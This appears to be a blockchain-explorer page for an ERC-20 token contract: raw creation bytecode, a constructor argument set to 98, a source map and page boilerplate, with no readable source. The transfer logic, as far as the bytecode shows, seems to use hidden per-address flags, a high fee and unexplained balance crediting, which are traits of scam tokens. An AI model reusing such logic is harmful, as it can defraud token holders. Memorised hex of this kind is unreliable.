0x6080604052600436106101445760003560e01c8063571d2d11116100b6578063a9059cbb1161006f578063a9059cbb146103bc578063af465a27146103dc578063b09f1266146103f2578063d28d885214610407578063dd62ed3e1461041c578063fa2f7a8f1461046257600080fd5b8063571d2d11146102ed57806370a082311461031d5780638da5cb5b1461035357806395d89b41146103715780639630d25c14610386578063a457c2d71461039c57600080fd5b8063220f669611610108578063220f66961461022957806323b872dd1461024a578063313ce5671461026a578063395093511461028c57806349bd5a5e146102ac5780634a74bb02146102cc57600080fd5b806306fdde0314610150578063095ea7b31461017b57806312de7227146101ab5780631694505e146101e357806318160ddd1461020a57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610479565b6040516101729190610b67565b60405180910390f35b34801561018757600080fd5b5061019b610196366004610bd8565b61050b565b6040519015158152602001610172565b3480156101b757600080fd5b506005546101cb906001600160a01b031681565b6040516001600160a01b039091168152602001610172565b3480156101ef57600080fd5b50600b546101cb90630100000090046001600160a01b031681565b34801561021657600080fd5b506009545b604051908152602001610172565b34801561023557600080fd5b50600c5461019b90600160a01b900460ff1681565b34801561025657600080fd5b5061019b610265366004610c02565b610521565b34801561027657600080fd5b5060085460405160ff9091168152602001610172565b34801561029857600080fd5b5061019b6102a7366004610bd8565b61058a565b3480156102b857600080fd5b50600c546101cb906001600160a01b031681565b3480156102d857600080fd5b50600c5461019b90600160a81b900460ff1681565b3480156102f957600080fd5b5061019b610308366004610c3e565b60026020526000908152604090205460ff1681565b34801561032957600080fd5b5061021b610338366004610c3e565b6001600160a01b031660009081526001602052604090205490565b34801561035f57600080fd5b506000546001600160a01b03166101cb565b34801561037d57600080fd5b506101656105c0565b34801561039257600080fd5b5061021b600a5481565b3480156103a857600080fd5b5061019b6103b7366004610bd8565b6105cf565b3480156103c857600080fd5b5061019b6103d7366004610bd8565b61061e565b3480156103e857600080fd5b5061021b60095481565b3480156103fe57600080fd5b5061016561062b565b34801561041357600080fd5b506101656106b9565b34801561042857600080fd5b5061021b610437366004610c59565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561046e57600080fd5b506104776106c6565b005b60606006805461048890610c8c565b80601f01602080910402602001604051908101604052809291908181526020018280546104b490610c8c565b80156105015780601f106104d657610100808354040283529160200191610501565b820191906000526020600020905b8154815290600101906020018083116104e457829003601f168201915b5050505050905090565b600061051833848461076f565b50600192915050565b600061052e848484610828565b610580843361057b85604051806060016040528060288152602001610d65602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ad1565b61076f565b5060019392505050565b3360008181526004602090815260408083206001600160a01b0387168452909152812054909161051891859061057b9086610afd565b60606007805461048890610c8c565b6000610518338461057b85604051806060016040528060258152602001610d8d602591393360009081526004602090815260408083206001600160a01b038d1684529091529020549190610ad1565b6000610518338484610828565b6007805461063890610c8c565b80601f016020809104026020016040519081016040528092919081815260200182805461066490610c8c565b80156106b15780601f10610686576101008083540402835291602001916106b1565b820191906000526020600020905b81548152906001019060200180831161069457829003601f168201915b505050505081565b6006805461063890610c8c565b6000546001600160a01b031633146107255760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6001600160a01b0383161580159061078f57506001600160a01b03821615155b6107c75760405162461bcd60e51b815260206004820152600960248201526804164726573733a20360bc1b604482015260640161071c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038216600090815260036020526040902054600c5460ff918216151591600160b01b9091041615801561085f5750805b1561087c57600c805460ff60b01b1916600160b01b831515021790555b600c546001906001600160a01b03868116911614806108b357506001600160a01b03841660009081526002602052604090205460ff165b806108d657506001600160a01b03851660009081526002602052604090205460ff165b156108df575060005b6001600160a01b038516600090815260016020526040902054610903908490610cdd565b6001600160a01b0386166000908152600160205260409020558015610a2d5760408051808201909152600c54600160b01b900460ff161515602082018190526000916109ad916064916109a7916109a09190819061097157604080516020810190915260009081905261098c565b6040805160208101909152600b54610100900460ff16908190525b60ff9081169091529051600a549116610afd565b8790610b10565b90610b1c565b905080156109e157306000908152600160205260409020546109d0908290610cf4565b306000908152600160205260409020555b6109eb8185610cdd565b6001600160a01b038616600090815260016020526040902054610a0e9190610cf4565b6001600160a01b03861660009081526001602052604090205550610a7d565b81610a385782610a40565b610a40610b28565b6001600160a01b038516600090815260016020526040902054610a639190610cf4565b6001600160a01b0385166000908152600160205260409020555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ac291815260200190565b60405180910390a35050505050565b60008184841115610af55760405162461bcd60e51b815260040161071c9190610b67565b505050900390565b6000610b098284610cf4565b9392505050565b6000610b098284610d0c565b6000610b098284610d2b565b600060016020815b8115610b5f57610b4181600a610cf4565b610b4b9084610d0c565b925081610b5781610d4d565b925050610b30565b509092915050565b600060208083528351808285015260005b81811015610b9457858101830151858201604001528201610b78565b81811115610ba6576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610bd357600080fd5b919050565b60008060408385031215610beb57600080fd5b610bf483610bbc565b946020939093013593505050565b600080600060608486031215610c1757600080fd5b610c2084610bbc565b9250610c2e60208501610bbc565b9150604084013590509250925092565b600060208284031215610c5057600080fd5b610b0982610bbc565b60008060408385031215610c6c57600080fd5b610c7583610bbc565b9150610c8360208401610bbc565b90509250929050565b600181811c90821680610ca057607f821691505b60208210811415610cc157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610cef57610cef610cc7565b500390565b60008219821115610d0757610d07610cc7565b500190565b6000816000190483118215151615610d2657610d26610cc7565b500290565b600082610d4857634e487b7160e01b600052601260045260246000fd5b500490565b600081610d5c57610d5c610cc7565b50600019019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d1d22c39435999895ca5864286041315179b2707da0c843a2d3d0f04206acae064736f6c634300080c0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000000000000000000000000000000000000000000062

-----Decoded View---------------
Arg [0] : _swapAmount (uint8): 98

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000062


Deployed Bytecode Sourcemap

13925:5882:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15832:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16663:161;;;;;;;;;;-1:-1:-1;16663:161:0;;;;;:::i;:::-;;:::i;:::-;;;1218:14:1;;1211:22;1193:41;;1181:2;1166:18;16663:161:0;1053:187:1;14275:88:0;;;;;;;;;;-1:-1:-1;14275:88:0;;;;-1:-1:-1;;;;;14275:88:0;;;;;;-1:-1:-1;;;;;1425:32:1;;;1407:51;;1395:2;1380:18;14275:88:0;1245:219:1;14697:41:0;;;;;;;;;;-1:-1:-1;14697:41:0;;;;;;;-1:-1:-1;;;;;14697:41:0;;;16014:95;;;;;;;;;;-1:-1:-1;16094:7:0;;16014:95;;;1850:25:1;;;1838:2;1823:18;16014:95:0;1704:177:1;14780:28:0;;;;;;;;;;-1:-1:-1;14780:28:0;;;;-1:-1:-1;;;14780:28:0;;;;;;16832:313;;;;;;;;;;-1:-1:-1;16832:313:0;;;;;:::i;:::-;;:::i;15923:83::-;;;;;;;;;;-1:-1:-1;15989:9:0;;15923:83;;15989:9;;;;2361:36:1;;2349:2;2334:18;15923:83:0;2219:184:1;17153:218:0;;;;;;;;;;-1:-1:-1;17153:218:0;;;;;:::i;:::-;;:::i;14745:28::-;;;;;;;;;;-1:-1:-1;14745:28:0;;;;-1:-1:-1;;;;;14745:28:0;;;14815:40;;;;;;;;;;-1:-1:-1;14815:40:0;;;;-1:-1:-1;;;14815:40:0;;;;;;14096:42;;;;;;;;;;-1:-1:-1;14096:42:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;16212:117;;;;;;;;;;-1:-1:-1;16212:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;16305:16:0;16278:7;16305:16;;;:7;:16;;;;;;;16212:117;13542:87;;;;;;;;;;-1:-1:-1;13588:7:0;13615:6;-1:-1:-1;;;;;13615:6:0;13542:87;;16117;;;;;;;;;;;;;:::i;14547:35::-;;;;;;;;;;;;;;;;17379:269;;;;;;;;;;-1:-1:-1;17379:269:0;;;;;:::i;:::-;;:::i;16337:167::-;;;;;;;;;;-1:-1:-1;16337:167:0;;;;;:::i;:::-;;:::i;14485:53::-;;;;;;;;;;;;;;;;14411:33;;;;;;;;;;;;;:::i;14372:32::-;;;;;;;;;;;;;:::i;16512:143::-;;;;;;;;;;-1:-1:-1;16512:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;16620:18:0;;;16593:7;16620:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;16512:143;13765:147;;;;;;;;;;;;;:::i;:::-;;15832:83;15869:13;15902:5;15895:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15832:83;:::o;16663:161::-;16738:4;16755:39;1921:10;16778:7;16787:6;16755:8;:39::i;:::-;-1:-1:-1;16812:4:0;16663:161;;;;:::o;16832:313::-;16930:4;16947:36;16957:6;16965:9;16976:6;16947:9;:36::i;:::-;16994:121;17003:6;1921:10;17025:89;17063:6;17025:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;17025:19:0;;;;;;:11;:19;;;;;;;;1921:10;17025:33;;;;;;;;;;:37;:89::i;:::-;16994:8;:121::i;:::-;-1:-1:-1;17133:4:0;16832:313;;;;;:::o;17153:218::-;1921:10;17241:4;17290:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17290:34:0;;;;;;;;;;17241:4;;17258:83;;17281:7;;17290:50;;17329:10;17290:38;:50::i;16117:87::-;16156:13;16189:7;16182:14;;;;;:::i;17379:269::-;17472:4;17489:129;1921:10;17512:7;17521:96;17560:15;17521:96;;;;;;;;;;;;;;;;;1921:10;17521:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17521:34:0;;;;;;;;;;;;:38;:96::i;16337:167::-;16415:4;16432:42;1921:10;16456:9;16467:6;16432:9;:42::i;14411:33::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;14372:32::-;;;;;;;:::i;13765:147::-;13588:7;13615:6;-1:-1:-1;;;;;13615:6:0;1921:10;13677:23;13669:68;;;;-1:-1:-1;;;13669:68:0;;3659:2:1;13669:68:0;;;3641:21:1;;;3678:18;;;3671:30;3737:34;3717:18;;;3710:62;3789:18;;13669:68:0;;;;;;;;;13871:1:::1;13855:6:::0;;13834:40:::1;::::0;-1:-1:-1;;;;;13855:6:0;;::::1;::::0;13834:40:::1;::::0;13871:1;;13834:40:::1;13902:1;13885:19:::0;;-1:-1:-1;;;;;;13885:19:0::1;::::0;;13765:147::o;18623:254::-;-1:-1:-1;;;;;18716:19:0;;;;;;:44;;-1:-1:-1;;;;;;18739:21:0;;;;18716:44;18708:66;;;;-1:-1:-1;;;18708:66:0;;4020:2:1;18708:66:0;;;4002:21:1;4059:1;4039:18;;;4032:29;-1:-1:-1;;;4077:18:1;;;4070:39;4126:18;;18708:66:0;3818:332:1;18708:66:0;-1:-1:-1;;;;;18785:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;18837:32;;1850:25:1;;;18837:32:0;;1823:18:1;18837:32:0;;;;;;;18623:254;;;:::o;18885:913::-;-1:-1:-1;;;;;18977:10:0;;18965:8;18977:10;;;:6;:10;;;;;;19009:4;;18977:10;;;;18976:18;;;-1:-1:-1;;;19009:4:0;;;;19008:5;:12;;;;;19017:3;19008:12;19005:30;;;19023:4;:10;;-1:-1:-1;;;;19023:10:0;-1:-1:-1;;;19023:10:0;;;;;;;19005:30;19082:13;;19056:4;;-1:-1:-1;;;;;19074:21:0;;;19082:13;;19074:21;;:38;;-1:-1:-1;;;;;;19099:13:0;;;;;;:9;:13;;;;;;;;19074:38;:57;;;-1:-1:-1;;;;;;19116:15:0;;;;;;:9;:15;;;;;;;;19074:57;19071:99;;;-1:-1:-1;19153:5:0;19071:99;-1:-1:-1;;;;;19198:13:0;;;;;;:7;:13;;;;;;:22;;19214:6;;19198:22;:::i;:::-;-1:-1:-1;;;;;19182:13:0;;;;;;:7;:13;;;;;:38;19231:508;;;;19328:92;;;19348:9;;;;;;19349:4;;-1:-1:-1;;;19349:4:0;;;;19348:9;;19328:92;;;19348:9;;;-1:-1:-1;;19273:176:0;;19445:3;;19273:149;;19284:137;;19328:92;;;19348:68;;19410:6;;;;;;;;;-1:-1:-1;19410:6:0;;;;19348:68;;;19376:15;;;;;;;;;19377:10;;;;;;;19376:15;;;;19348:68;19328:92;;;;;;;;;19284:16;;;:137;:43;:137::i;:::-;19273:6;;:10;:149::i;:::-;:171;;:176::i;:::-;19253:196;-1:-1:-1;19467:14:0;;19464:112;;19542:4;19526:22;;;;:7;:22;;;;;;:34;;19551:9;;19526:34;:::i;:::-;19517:4;19501:22;;;;:7;:22;;;;;:59;19464:112;19619:18;19628:9;19619:6;:18;:::i;:::-;-1:-1:-1;;;;;19604:11:0;;;;;;:7;:11;;;;;;:34;;;;:::i;:::-;-1:-1:-1;;;;;19590:11:0;;;;;;:7;:11;;;;;:48;-1:-1:-1;19231:508:0;;;19698:3;:28;;19720:6;19698:28;;;19704:13;:11;:13::i;:::-;-1:-1:-1;;;;;19683:11:0;;;;;;:7;:11;;;;;;:44;;;;:::i;:::-;-1:-1:-1;;;;;19669:11:0;;;;;;:7;:11;;;;;:58;19231:508;19779:2;-1:-1:-1;;;;;19764:26:0;19773:4;-1:-1:-1;;;;;19764:26:0;;19783:6;19764:26;;;;1850:25:1;;1838:2;1823:18;;1704:177;19764:26:0;;;;;;;;18954:844;;18885:913;;;:::o;1372:206::-;1458:7;1519:12;1511:6;;;;1503:29;;;;-1:-1:-1;;;1503:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1554:5:0;;;1372:206::o;944:98::-;1002:7;1029:5;1033:1;1029;:5;:::i;:::-;1022:12;944:98;-1:-1:-1;;;944:98:0:o;1156:::-;1214:7;1241:5;1245:1;1241;:5;:::i;1266:98::-;1324:7;1351:5;1355:1;1351;:5;:::i;17776:223::-;17820:7;17854:1;17875:2;17854:1;17888:82;17908:11;;17888:82;;17954:4;17957:1;17954:2;:4;:::i;:::-;17946:12;;;;:::i;:::-;;-1:-1:-1;17921:9:0;;;;:::i;:::-;;;;17888:82;;;-1:-1:-1;17987:4:0;;17776:223;-1:-1:-1;;17776:223:0:o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:173::-;684:20;;-1:-1:-1;;;;;733:31:1;;723:42;;713:70;;779:1;776;769:12;713:70;616:173;;;:::o;794:254::-;862:6;870;923:2;911:9;902:7;898:23;894:32;891:52;;;939:1;936;929:12;891:52;962:29;981:9;962:29;:::i;:::-;952:39;1038:2;1023:18;;;;1010:32;;-1:-1:-1;;;794:254:1:o;1886:328::-;1963:6;1971;1979;2032:2;2020:9;2011:7;2007:23;2003:32;2000:52;;;2048:1;2045;2038:12;2000:52;2071:29;2090:9;2071:29;:::i;:::-;2061:39;;2119:38;2153:2;2142:9;2138:18;2119:38;:::i;:::-;2109:48;;2204:2;2193:9;2189:18;2176:32;2166:42;;1886:328;;;;;:::o;2616:186::-;2675:6;2728:2;2716:9;2707:7;2703:23;2699:32;2696:52;;;2744:1;2741;2734:12;2696:52;2767:29;2786:9;2767:29;:::i;2807:260::-;2875:6;2883;2936:2;2924:9;2915:7;2911:23;2907:32;2904:52;;;2952:1;2949;2942:12;2904:52;2975:29;2994:9;2975:29;:::i;:::-;2965:39;;3023:38;3057:2;3046:9;3042:18;3023:38;:::i;:::-;3013:48;;2807:260;;;;;:::o;3072:380::-;3151:1;3147:12;;;;3194;;;3215:61;;3269:4;3261:6;3257:17;3247:27;;3215:61;3322:2;3314:6;3311:14;3291:18;3288:38;3285:161;;;3368:10;3363:3;3359:20;3356:1;3349:31;3403:4;3400:1;3393:15;3431:4;3428:1;3421:15;3285:161;;3072:380;;;:::o;4155:127::-;4216:10;4211:3;4207:20;4204:1;4197:31;4247:4;4244:1;4237:15;4271:4;4268:1;4261:15;4287:125;4327:4;4355:1;4352;4349:8;4346:34;;;4360:18;;:::i;:::-;-1:-1:-1;4397:9:1;;4287:125::o;4549:128::-;4589:3;4620:1;4616:6;4613:1;4610:13;4607:39;;;4626:18;;:::i;:::-;-1:-1:-1;4662:9:1;;4549:128::o;4682:168::-;4722:7;4788:1;4784;4780:6;4776:14;4773:1;4770:21;4765:1;4758:9;4751:17;4747:45;4744:71;;;4795:18;;:::i;:::-;-1:-1:-1;4835:9:1;;4682:168::o;4855:217::-;4895:1;4921;4911:132;;4965:10;4960:3;4956:20;4953:1;4946:31;5000:4;4997:1;4990:15;5028:4;5025:1;5018:15;4911:132;-1:-1:-1;5057:9:1;;4855:217::o;5077:136::-;5116:3;5144:5;5134:39;;5153:18;;:::i;:::-;-1:-1:-1;;;5189:18:1;;5077:136::o

Swarm Source

ipfs://d1d22c39435999895ca5864286041315179b2707da0c843a2d3d0f04206acae0
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.